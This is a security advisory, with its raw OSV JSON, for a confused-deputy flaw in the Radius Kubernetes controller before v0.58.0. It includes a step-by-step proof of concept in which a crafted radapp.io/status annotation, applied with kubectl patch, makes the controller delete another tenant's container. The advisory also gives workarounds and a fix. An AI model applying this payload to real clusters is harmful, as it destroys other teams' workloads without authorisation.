返回公告列表Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs) OSV 1.4.0 · github-reviewed · 修改于 2026-06-13 04:08
GitHub 审查时间
2026-06-13 04:08
源文件
advisories/github-reviewed/2026/06/GHSA-fp5j-4fj2-4jvq/GHSA-fp5j-4fj2-4jvq.json
Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)
Summary
A configuration-validation issue in the Radius Kubernetes controller can cause it to issue a DELETE for the container resource referenced by a tampered radapp.io/status annotation on a Deployment. It follows the "Confused Deputy" pattern. Real-world impact is bounded and depends heavily on install topology: in a multi-tenant install (one controller reconciling Deployments across resource groups owned by different teams) it can affect another team's container, while in a single-tenant install it is only self-DoS. There is no data disclosure, no privilege escalation, and no persistence, and deleted resources are recoverable through standard Radius deployment workflows.
Vulnerability Type : Configuration Injection / Cross-Tenant Resource Deletion
CVSS 3.1 Score : 7.7 (High in worst-case multi-tenant installs; Medium or lower in single-tenant or strict-RBAC installs)
CWE Classification : CWE-20 (Improper Input Validation), CWE-441 (Unintended Proxy or Intermediary)
Affected Versions : Radius v0.57.1 and earlier versions
Vulnerability Details
Root Cause
The Radius controller deserializes user-controllable JSON data from the radapp.io/status annotation on Kubernetes Deployments without validating whether the resource IDs belong to the current tenant. When the controller performs delete operations, it uses its own high-privilege credentials to send requests to the Radius API, enabling deletion of resources belonging to any tenant.
Vulnerable Code Locations
Vulnerability Source - pkg/controller/reconciler/annotations.go:110-119:
s := deploymentStatus{}
status := deployment.Annotations[AnnotationRadiusStatus]
if status != "" {
err := json.Unmarshal([]byte(status), &s) // Deserializes user-controllable data without validation
if err != nil {
return result, fmt.Errorf("failed to unmarshal status annotation: %w", err)
}
result.Status = &s
}
Vulnerability Sink - :
pkg/controller/reconciler/deployment_reconciler.go:491
poller, err := deleteContainer(ctx, r.Radius, annotations.Status.Container) // Directly uses user-controllable data for deletion
Attack Chain ┌─────────────────────────────────────────────────────────────────────────────┐
│ Confused Deputy Attack │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Tenant-A (Attacker) Tenant-B (Victim) │
│ ┌──────────────────┐ ┌──────────────────┐ │
│ │ legitimate-app │ │ victim-container │ │
│ │ (Deployment) │ │ (Radius Resource)│ │
│ └────────┬─────────┘ └────────▲─────────┘ │
│ │ │ │
│ │ 1. Inject malicious │ 4. DELETE request │
│ │ radapp.io/status │ (no auth check!) │
│ │ annotation │ │
│ ▼ │ │
│ ┌──────────────────┐ ┌───────┴──────────┐ │
│ │ Radius Controller│ ─────────────────▶│ Radius API │ │
│ │ (High Privilege) │ 3. Uses injected │ (UCP) │ │
│ └──────────────────┘ container ID └──────────────────┘ │
│ ▲ │
│ │ 2. Reads annotation │
│ │ without validation │
│ │ │
└───────────┴─────────────────────────────────────────────────────────────────┘
Proof of Concept (PoC)
Prerequisites
Kubernetes cluster with Radius v0.54.0 installed
Attacker has permission to modify Deployment annotations in a namespace
Target tenant has Radius-managed container resources
Environment Setup
Step 1: Install Kind Cluster and Radius # Create Kind cluster
kind create cluster --name radius-test --image kindest/node:v1.27.3
# Install Radius
rad install kubernetes --set global.zipkin.url=http://jaeger-collector.radius-system.svc.cluster.local:9411/api/v2/spans
# Verify installation
kubectl get pods -n radius-system
NAME READY STATUS RESTARTS AGE
applications-rp-xxx 1/1 Running 0 2m
bicep-de-xxx 1/1 Running 0 2m
controller-xxx 1/1 Running 0 2m
ucp-xxx 1/1 Running 0 2m
Step 2: Create Attacker Tenant (tenant-a) # Create resource group
rad group create tenant-a
# Create environment
rad env create tenant-a-env --group tenant-a
# Switch to tenant-a
rad group switch tenant-a
rad env switch tenant-a-env
Step 3: Deploy Legitimate Application in tenant-a Create legitimate-app.bicep:
extension radius
@description('The Radius application resource')
resource app 'Applications.Core/applications@2023-10-01-preview' = {
name: 'legitimate-app'
properties: {
environment: environment()
}
}
@description('The container resource')
resource container 'Applications.Core/containers@2023-10-01-preview' = {
name: 'legitimate-container'
properties: {
application: app.id
container: {
image: 'nginx:latest'
}
}
}
rad deploy legitimate-app.bicep
Step 4: Create Victim Tenant (tenant-b) # Create resource group and environment
rad group create tenant-b
rad env create tenant-b-env --group tenant-b
# Create victim application and container via UCP API
kubectl port-forward svc/ucp -n radius-system 8443:443 &
PF_PID=$!
sleep 3
# Create application
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app?api-version=2023-10-01-preview" \
-H "Content-Type: application/json" \
-d '{
"location": "global",
"properties": {
"environment": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/environments/tenant-b-env"
}
}'
# Create container
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container?api-version=2023-10-01-preview" \
-H "Content-Type: application/json" \
-d '{
"location": "global",
"properties": {
"application": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app",
"container": {
"image": "nginx:latest"
}
}
}'
kill $PF_PID 2>/dev/null || true
Step 5: Verify Victim Resource Exists kubectl get deployment -n tenant-b-victim-app victim-container
NAME READY UP-TO-DATE AVAILABLE AGE
victim-container 1/1 1 1 50s
Exploitation
Step 6: Inject Malicious Annotation Create attack-patch.yaml:
metadata:
annotations:
radapp.io/enabled: "false"
radapp.io/status: '{"container":"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container","scope":"/planes/radius/local/resourceGroups/tenant-b"}'
kubectl patch deployment legitimate-app -n tenant-a --patch-file attack-patch.yaml
deployment.apps/legitimate-app patched
Step 7: Verify Attack Success Wait a few seconds and check the victim's resources:
kubectl get all -n tenant-b-victim-app
No resources found in tenant-b-victim-app namespace.
Log Evidence The controller logs show the cross-tenant deletion operation:
Attack Triggered (15:29:41.351Z):
{
"timestamp": "2026-02-01T15:29:41.351Z",
"message": "Starting DELETE operation.",
"Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}
Cross-Tenant Delete Request (15:29:41.351Z):
{
"timestamp": "2026-02-01T15:29:41.351Z",
"message": "Deleting container.",
"scope": "/planes/radius/local/resourceGroups/tenant-b",
"resourceType": "Applications.Core/containers"
}
Deletion Successful (15:29:41.367Z):
{
"timestamp": "2026-02-01T15:29:41.367Z",
"message": "Resource is deleted.",
"Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}
Impact
Security Impact
Confidentiality : No direct impact (no data disclosure)
Integrity : None - No victim data is modified; the issue deletes a Radius-managed container resource, which is recoverable from IaC
Availability : High - Can cause service disruption for target tenants
Attack Prerequisites
Attacker needs permission to modify Deployment annotations in a Kubernetes namespace
Attacker needs to know the target resource's Radius resource ID (obtainable through enumeration or social engineering)
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
Metric Value Description Attack Vector Network Via Kubernetes API Attack Complexity Low Only requires annotation modification Privileges Required Low Requires Deployment edit permission User Interaction None No user interaction required Scope Changed Affects other tenants Confidentiality None No data disclosure Integrity None No victim data modified; deletes a recoverable management resource Availability High Causes service disruption
Workarounds Until an official fix is released, consider the following mitigations:
Restrict Annotation Modification Permissions : Use Kubernetes RBAC to limit who can modify Deployment annotations
Monitor Anomalous Operations : Monitor modifications to radapp.io/status annotations, especially those containing other tenants' resource IDs
Network Isolation : Implement strict network policies in multi-tenant environments
Remediation Recommendations
Short-term Fix Add validation logic in annotations.go to ensure the container ID in radapp.io/status belongs to the current namespace/tenant:
func validateContainerScope(deployment *appsv1.Deployment, containerID string) error {
expectedScope := extractScopeFromDeployment(deployment)
actualScope := extractScopeFromContainerID(containerID)
if expectedScope != actualScope {
return fmt.Errorf("container scope mismatch: expected %s, got %s", expectedScope, actualScope)
}
return nil
}
Long-term Fix
Implement Least Privilege Principle : The controller should use credentials associated with the Deployment's tenant
Add Radius API Authorization Validation : UCP should validate the source tenant of delete requests
Audit Logging : Log all cross-tenant operation attempts
References Go
github.com/radius-project/radius CVSS_V3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
原始 OSV JSON{
"id": "GHSA-fp5j-4fj2-4jvq",
"aliases": [
"CVE-2026-53999"
],
"details": "# Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)\n\n## Summary\n\nA configuration-validation issue in the Radius Kubernetes controller can cause it to issue a `DELETE` for the container resource referenced by a tampered `radapp.io/status` annotation on a Deployment. It follows the \"Confused Deputy\" pattern. Real-world impact is bounded and depends heavily on install topology: in a multi-tenant install (one controller reconciling Deployments across resource groups owned by different teams) it can affect another team's container, while in a single-tenant install it is only self-DoS. There is no data disclosure, no privilege escalation, and no persistence, and deleted resources are recoverable through standard Radius deployment workflows.\n\n- **Vulnerability Type**: Configuration Injection / Cross-Tenant Resource Deletion\n- **CVSS 3.1 Score**: 7.7 (High in worst-case multi-tenant installs; Medium or lower in single-tenant or strict-RBAC installs)\n- **CWE Classification**: CWE-20 (Improper Input Validation), CWE-441 (Unintended Proxy or Intermediary)\n- **Affected Versions**: Radius v0.57.1 and earlier versions\n\n## Vulnerability Details\n\n### Root Cause\n\nThe Radius controller deserializes user-controllable JSON data from the `radapp.io/status` annotation on Kubernetes Deployments without validating whether the resource IDs belong to the current tenant. When the controller performs delete operations, it uses its own high-privilege credentials to send requests to the Radius API, enabling deletion of resources belonging to any tenant.\n\n### Vulnerable Code Locations\n\n**Vulnerability Source** - `pkg/controller/reconciler/annotations.go:110-119`:\n\n```go\ns := deploymentStatus{}\nstatus := deployment.Annotations[AnnotationRadiusStatus]\nif status != \"\" {\n err := json.Unmarshal([]byte(status), &s) // Deserializes user-controllable data without validation\n if err != nil {\n return result, fmt.Errorf(\"failed to unmarshal status annotation: %w\", err)\n }\n result.Status = &s\n}\n```\n\n**Vulnerability Sink** - `pkg/controller/reconciler/deployment_reconciler.go:491`:\n\n```go\npoller, err := deleteContainer(ctx, r.Radius, annotations.Status.Container) // Directly uses user-controllable data for deletion\n```\n\n### Attack Chain\n\n```text\n┌─────────────────────────────────────────────────────────────────────────────┐\n│ Confused Deputy Attack │\n├─────────────────────────────────────────────────────────────────────────────┤\n│ │\n│ Tenant-A (Attacker) Tenant-B (Victim) │\n│ ┌──────────────────┐ ┌──────────────────┐ │\n│ │ legitimate-app │ │ victim-container │ │\n│ │ (Deployment) │ │ (Radius Resource)│ │\n│ └────────┬─────────┘ └────────▲─────────┘ │\n│ │ │ │\n│ │ 1. Inject malicious │ 4. DELETE request │\n│ │ radapp.io/status │ (no auth check!) │\n│ │ annotation │ │\n│ ▼ │ │\n│ ┌──────────────────┐ ┌───────┴──────────┐ │\n│ │ Radius Controller│ ─────────────────▶│ Radius API │ │\n│ │ (High Privilege) │ 3. Uses injected │ (UCP) │ │\n│ └──────────────────┘ container ID └──────────────────┘ │\n│ ▲ │\n│ │ 2. Reads annotation │\n│ │ without validation │\n│ │ │\n└───────────┴─────────────────────────────────────────────────────────────────┘\n```\n\n## Proof of Concept (PoC)\n\n### Prerequisites\n\n- Kubernetes cluster with Radius v0.54.0 installed\n- Attacker has permission to modify Deployment annotations in a namespace\n- Target tenant has Radius-managed container resources\n\n### Environment Setup\n\n#### Step 1: Install Kind Cluster and Radius\n\n```bash\n# Create Kind cluster\nkind create cluster --name radius-test --image kindest/node:v1.27.3\n\n# Install Radius\nrad install kubernetes --set global.zipkin.url=http://jaeger-collector.radius-system.svc.cluster.local:9411/api/v2/spans\n\n# Verify installation\nkubectl get pods -n radius-system\n```\n\nExpected output:\n\n```text\nNAME READY STATUS RESTARTS AGE\napplications-rp-xxx 1/1 Running 0 2m\nbicep-de-xxx 1/1 Running 0 2m\ncontroller-xxx 1/1 Running 0 2m\nucp-xxx 1/1 Running 0 2m\n```\n\n#### Step 2: Create Attacker Tenant (tenant-a)\n\n```bash\n# Create resource group\nrad group create tenant-a\n\n# Create environment\nrad env create tenant-a-env --group tenant-a\n\n# Switch to tenant-a\nrad group switch tenant-a\nrad env switch tenant-a-env\n```\n\n#### Step 3: Deploy Legitimate Application in tenant-a\n\nCreate `legitimate-app.bicep`:\n\n```bicep\nextension radius\n\n@description('The Radius application resource')\nresource app 'Applications.Core/applications@2023-10-01-preview' = {\n name: 'legitimate-app'\n properties: {\n environment: environment()\n }\n}\n\n@description('The container resource')\nresource container 'Applications.Core/containers@2023-10-01-preview' = {\n name: 'legitimate-container'\n properties: {\n application: app.id\n container: {\n image: 'nginx:latest'\n }\n }\n}\n```\n\nDeploy the application:\n\n```bash\nrad deploy legitimate-app.bicep\n```\n\n#### Step 4: Create Victim Tenant (tenant-b)\n\n```bash\n# Create resource group and environment\nrad group create tenant-b\nrad env create tenant-b-env --group tenant-b\n\n# Create victim application and container via UCP API\nkubectl port-forward svc/ucp -n radius-system 8443:443 &\nPF_PID=$!\nsleep 3\n\n# Create application\ncurl -k -X PUT \"https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app?api-version=2023-10-01-preview\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"location\": \"global\",\n \"properties\": {\n \"environment\": \"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/environments/tenant-b-env\"\n }\n }'\n\n# Create container\ncurl -k -X PUT \"https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container?api-version=2023-10-01-preview\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"location\": \"global\",\n \"properties\": {\n \"application\": \"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app\",\n \"container\": {\n \"image\": \"nginx:latest\"\n }\n }\n }'\n\nkill $PF_PID 2>/dev/null || true\n```\n\n#### Step 5: Verify Victim Resource Exists\n\n```bash\nkubectl get deployment -n tenant-b-victim-app victim-container\n```\n\nExpected output:\n\n```text\nNAME READY UP-TO-DATE AVAILABLE AGE\nvictim-container 1/1 1 1 50s\n```\n\n### Exploitation\n\n#### Step 6: Inject Malicious Annotation\n\nCreate `attack-patch.yaml`:\n\n```yaml\nmetadata:\n annotations:\n radapp.io/enabled: \"false\"\n radapp.io/status: '{\"container\":\"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container\",\"scope\":\"/planes/radius/local/resourceGroups/tenant-b\"}'\n```\n\nExecute the attack:\n\n```bash\nkubectl patch deployment legitimate-app -n tenant-a --patch-file attack-patch.yaml\n```\n\nExpected output:\n\n```text\ndeployment.apps/legitimate-app patched\n```\n\n#### Step 7: Verify Attack Success\n\nWait a few seconds and check the victim's resources:\n\n```bash\nkubectl get all -n tenant-b-victim-app\n```\n\nExpected output:\n\n```text\nNo resources found in tenant-b-victim-app namespace.\n```\n\n### Log Evidence\n\nThe controller logs show the cross-tenant deletion operation:\n\n**Attack Triggered** (15:29:41.351Z):\n\n```json\n{\n \"timestamp\": \"2026-02-01T15:29:41.351Z\",\n \"message\": \"Starting DELETE operation.\",\n \"Deployment\": {\"name\": \"legitimate-app\", \"namespace\": \"tenant-a\"}\n}\n```\n\n**Cross-Tenant Delete Request** (15:29:41.351Z):\n\n```json\n{\n \"timestamp\": \"2026-02-01T15:29:41.351Z\",\n \"message\": \"Deleting container.\",\n \"scope\": \"/planes/radius/local/resourceGroups/tenant-b\",\n \"resourceType\": \"Applications.Core/containers\"\n}\n```\n\n**Deletion Successful** (15:29:41.367Z):\n\n```json\n{\n \"timestamp\": \"2026-02-01T15:29:41.367Z\",\n \"message\": \"Resource is deleted.\",\n \"Deployment\": {\"name\": \"legitimate-app\", \"namespace\": \"tenant-a\"}\n}\n```\n\n## Impact\n\n### Security Impact\n\n- **Confidentiality**: No direct impact (no data disclosure)\n- **Integrity**: None - No victim data is modified; the issue deletes a Radius-managed container resource, which is recoverable from IaC\n- **Availability**: High - Can cause service disruption for target tenants\n\n### Attack Prerequisites\n\n1. Attacker needs permission to modify Deployment annotations in a Kubernetes namespace\n2. Attacker needs to know the target resource's Radius resource ID (obtainable through enumeration or social engineering)\n\n### CVSS 3.1 Vector\n\n```text\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H\n```\n\n| Metric | Value | Description |\n|---------------------|---------|--------------------------------------------------------------------|\n| Attack Vector | Network | Via Kubernetes API |\n| Attack Complexity | Low | Only requires annotation modification |\n| Privileges Required | Low | Requires Deployment edit permission |\n| User Interaction | None | No user interaction required |\n| Scope | Changed | Affects other tenants |\n| Confidentiality | None | No data disclosure |\n| Integrity | None | No victim data modified; deletes a recoverable management resource |\n| Availability | High | Causes service disruption |\n\n## Workarounds\n\nUntil an official fix is released, consider the following mitigations:\n\n1. **Restrict Annotation Modification Permissions**: Use Kubernetes RBAC to limit who can modify Deployment annotations\n2. **Monitor Anomalous Operations**: Monitor modifications to `radapp.io/status` annotations, especially those containing other tenants' resource IDs\n3. **Network Isolation**: Implement strict network policies in multi-tenant environments\n\n## Remediation Recommendations\n\n### Short-term Fix\n\nAdd validation logic in `annotations.go` to ensure the container ID in `radapp.io/status` belongs to the current namespace/tenant:\n\n```go\nfunc validateContainerScope(deployment *appsv1.Deployment, containerID string) error {\n expectedScope := extractScopeFromDeployment(deployment)\n actualScope := extractScopeFromContainerID(containerID)\n if expectedScope != actualScope {\n return fmt.Errorf(\"container scope mismatch: expected %s, got %s\", expectedScope, actualScope)\n }\n return nil\n}\n```\n\n### Long-term Fix\n\n1. **Implement Least Privilege Principle**: The controller should use credentials associated with the Deployment's tenant\n2. **Add Radius API Authorization Validation**: UCP should validate the source tenant of delete requests\n3. **Audit Logging**: Log all cross-tenant operation attempts\n\n## References\n\n- [Radius Project GitHub](https://github.com/radius-project/radius)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-441: Unintended Proxy or Intermediary (Confused Deputy)](https://cwe.mitre.org/data/definitions/441.html)\n- [OWASP: Confused Deputy Problem](https://owasp.org/www-community/attacks/Confused_Deputy)",
"summary": "Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "0.58.0"
}
]
}
],
"package": {
"name": "github.com/radius-project/radius",
"ecosystem": "Go"
}
}
],
"modified": "2026-06-12T20:08:46Z",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H"
}
],
"published": "2026-06-12T20:08:46Z",
"references": [
{
"url": "https://github.com/radius-project/radius/security/advisories/GHSA-fp5j-4fj2-4jvq",
"type": "WEB"
},
{
"url": "https://github.com/radius-project/radius",
"type": "PACKAGE"
},
{
"url": "https://github.com/radius-project/radius/releases/tag/v0.58.0",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-441"
],
"severity": "HIGH",
"github_reviewed": true,
"nvd_published_at": null,
"github_reviewed_at": "2026-06-12T20:08:46Z"
}
}